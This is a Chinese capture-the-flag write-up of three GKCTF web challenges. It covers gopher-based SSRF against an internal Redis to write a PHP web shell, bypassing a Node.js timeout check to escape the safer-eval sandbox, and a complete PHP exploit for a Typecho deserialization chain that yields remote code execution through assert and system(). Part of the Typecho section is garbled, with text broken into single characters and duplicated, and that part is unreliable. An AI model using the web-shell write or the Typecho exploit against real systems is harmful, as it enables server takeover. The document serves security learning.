此篇文章在安全客首发,仅转载到个人博客
https://www.anquanke.com/post/id/209117
前言
刚考完考试自己在buu上复现的,之前没来得及做,复习去了,虽然还是考的很菜(我是fw 。记录一下学习过程吧
正言
GKCTF EZ三剑客-EzWeb
看到这个题前端和我自己出的一个题实在是很像,同样是输入一个url,先看题目长啥样吧。
嗯,啥也没有,输入url基本没反应,F12
给的提示是?secret
,输入后发现:
这就很敏感了,相当于一个
ifconfig
的命令,这个时候应该是SSRF打内网,看内网的存活主机有多少,直接burp抓个包爆破一下有新发现:
这个IP的其他端口有问题?不多说,nmap一把梭看看有哪些常见问题端口 很骚的一个点就是nmap如果不强调-p-
参数`或者指定端口貌似不会扫6379
端口的,也就是redis
端口,而这个无疑是问题端口中的问题端口,因此可以指定扫6379端口
:
下面其实就很明了了,redis未授权访问嘛,但是是内网啊,你咋访问?结合url,其实就知道是通过gopher协议来动手脚,gopher打Mysql和redis网上很多分析文章,这里简单说一下原理。
gopher攻击redis原理
先得从RESP协议开始
Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信。
RESP协议是在Redis 1.2
中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式。这是您应该在Redis客户端中实现的协议。
RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组。
RESP在Redis中用作请求 - 响应协议的方式如下:
客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
服务器根据命令实现回复一种RESP类型。
在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是+
对于error,回复的第一个字节是-
对于Integer,回复的第一个字节是:
对于Bulk Strings,回复的第一个字节是$
对于array,回复的第一个字节是*
此外,RESP能够使用稍后指定的Bulk Strings或Array的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。
用tcpdump抓包分析一下,redis
客户端执行以下命令:
set name test
>OK
get name
>"test"
客户端向将命令作为Bulk String
的RESP数组发送到Redis服务器,然后服务器根据命令实现回复给客户端一种RESP类型。
我们就拿上面的数据包分析,首先是*3
,代表数组的长度为3(可以简单理解为用空格为分隔符将命令分割为([“set”,”name”,”test”]);
$4
代表字符串的长度,0d0a
即\r\n表示结束符;+OK
表示服务端执行成功后返回的字符串
那么攻击的原理也就是利用gopher
来生成一个符合redis RESP协议
的payload,这里推荐使用Gopherus
这款工具,可以直接构造mysql、redis等gopher的payload。
python Gopherus.py --exploit --redis #指定是redis
直接把payload放到之前的url框中,然后在访问shell.php
注意:ip应为内网存在redis服务的ip,而并非现在这个开放80端口的机子ip,访问的时候也是访问前者的ip/shell.php文件
然后直接在构造一个echo system("cat /flag")
写入指定php中即可
然后访问存在redis主机的ip/shell.php:
GKCTF EZ三剑客-Eznode
看到这个题发现是一个Nodejs写的,并且使用的是express框架,题目给了源码,这里贴一下(省略了无关紧要的路由部分,加上了代码注释):
const express = require('express'); //用的是express框架
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
const fs = require('fs');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => { //在/eval路由中,设置了delay默认是60000
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
//将get请求的delay返回整数后判断是否为整数
delay = Math.max(delay, parseInt(req.query.delay));
//选取默认的delay值和传参的delay值的最大值
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
const saferEval = require('safer-eval')
nodejs的题在ha1cyon出现了几次,一般涉及到nodejs的题就是沙箱逃逸,而导致能够沙箱逃逸的,通常都是库的问题,题目有特地强调了这个safer-eval
的库,直接去github找issues
人证物证时间证都在,应该就是这个点了,花点功夫看下逻辑是啥,这里直接把代码内容放在注释中。最关键的点仔细谈一谈:
setTimeout的分析
setTimeout,第一个参数为回调函数,第二个参数表示从当前时刻开始过多少毫秒后开始执行回调函数
setTimeout(() => {handler }, time); //在{handler}中执行你的方法,time是过多久执行
我们举个例子
(function test() {
var timer = setTimeout(function (name) {
console.log('hello', name)
}, 3000, 'Micheal')
});
// 如果设定了clearTimeout,将不再执行setTimeout中的回调函数,参数值为setTimeout函数返回的定时器对象
(function test() {
var timer = setTimeout(function (name) {
console.log('hello', name)
}, 3000, 'Micheal')
clearTimeout(timer) //在3秒之内已经执行了clear,因此不会调用回调函数
});
所以我们结合来看
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
进入eval
需要至少6秒,而在1秒内便会clearTimeout(t)
使得无法进入下一个eval路由,我们如果能进入调用eval
的方法,那么通过req.body.e
结合沙箱溢出便能RCE。
当我们传入的delay大于该值时,delay会变为1,那么就是说在1毫秒时调用回调函数,快于1秒时进行clearTimeout(t),因此再结合沙箱溢出的payload
可以成功进行RCE。
EZ三剑客-EzTypecho
这个题已经出现过加强版的了,在MRCTF里出现过typecho反序列化利用PHP原生类Soapclient打SSRF的题,这里对比了一下原始版本的typecho反序列化漏洞,发现构造的payoad几乎一眼,这里就跟着链子走一路:
当设置了session
后,会对Typecho_Cookie::get('__typecho_config')
base64解码后反序列化,先回溯一下:
可以看到这一段是可控的,得到$config
后便其传入Typecho_Db
中,跟进看看
发现是将这个参数当成字符串拼接了,那么如果这个$config['adapter']
是一个其他类,并且该类有toString
方法,就可以触发魔术方法,全局搜索一下:
在Typecho_Feed类中找到标记的语句,还有出题人的提示QAQ,这里调用了$item['author']->screenName
,如果该类是一个不能存在screenName属性的类的话,那么这里就会调用这个类的__get()魔术方法
,在Request.php中发现了这么一个魔术方法,
这里的**
k
e
y
∗
∗
就
是
‘
‘
"
s
c
r
e
e
n
N
a
m
e
"
‘
‘
,
继
续
跟
进
‘
‘
g
e
t
(
)
‘
‘
方
法
!
[
]
(
h
t
t
p
s
:
/
/
i
m
g
c
o
n
v
e
r
t
.
c
s
d
n
i
m
g
.
c
n
/
a
H
R
0
c
H
M
6
L
y
9
w
M
S
5
z
c
2
w
u
c
W
h
p
b
W
c
u
Y
29
t
L
3
Q
w
M
W
N
k
N
j
k
y
M
j
V
m
N
G
M
z
N
G
R
k
N
z
k
u
c
G
5
n
?
x
−
o
s
s
−
p
r
o
c
e
s
s
=
i
m
a
g
e
/
f
o
r
m
a
t
,
p
n
g
)
‘
‘
key**就是``"screenName"``,继续跟进``get()``方法 ![](https://imgconvert.csdnimg.cn/aHR0cHM6Ly9wMS5zc2wucWhpbWcuY29tL3QwMWNkNjkyMjVmNGMzNGRkNzkucG5n?x-oss-process=image/format,png) ``
key∗∗就是‘‘"screenName"‘‘,继续跟进‘‘get()‘‘方法![](https://imgconvert.csdnimg.cn/aHR0cHM6Ly9wMS5zc2wucWhpbWcuY29tL3QwMWNkNjkyMjVmNGMzNGRkNzkucG5n?x−oss−process=image/format,png)‘‘value可控,直接跟进到这个方法: ![](https://imgconvert.csdnimg.cn/aHR0cHM6Ly9wNS5zc2wucWhpbWcuY29tL3QwMTg4NjVlZGI0MzkzMTg3NDgucG5n?x-oss-process=image/format,png) 链子到这里基本结束了,这里调用了
call_user_func``,而两个参数都是我们可控的,所以直接就能够RCE。
贴下exp:
<?php
$cmd = 'system("ls")';
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
private $_type;
private $_items;
public function __construct() {
//$this->_type = $this::RSS2;
$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct() {
$this->_params['screenName'] = $GLOBALS[cmd];
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>
生成payload之后再来触发反序列化条件,但是这个题并没有看到session_start()
,貌似只能找找其他触发点了:
finish参数由于没有session已经被阻挡了
如果有start
参数,并且Referer设置为本站时,可以触发反序列化操作,进行RCE
总结
总的来说,做的这三个EZ题目难度没有特别大,但是出的质量也还挺好的,也是强化了一些思维,比如针对url想到CRLF或者SSRF探测内网,nodejs题目多往沙箱逃逸方向思考,善于利用Github等等,总而言之,对自己而言收获还是很大的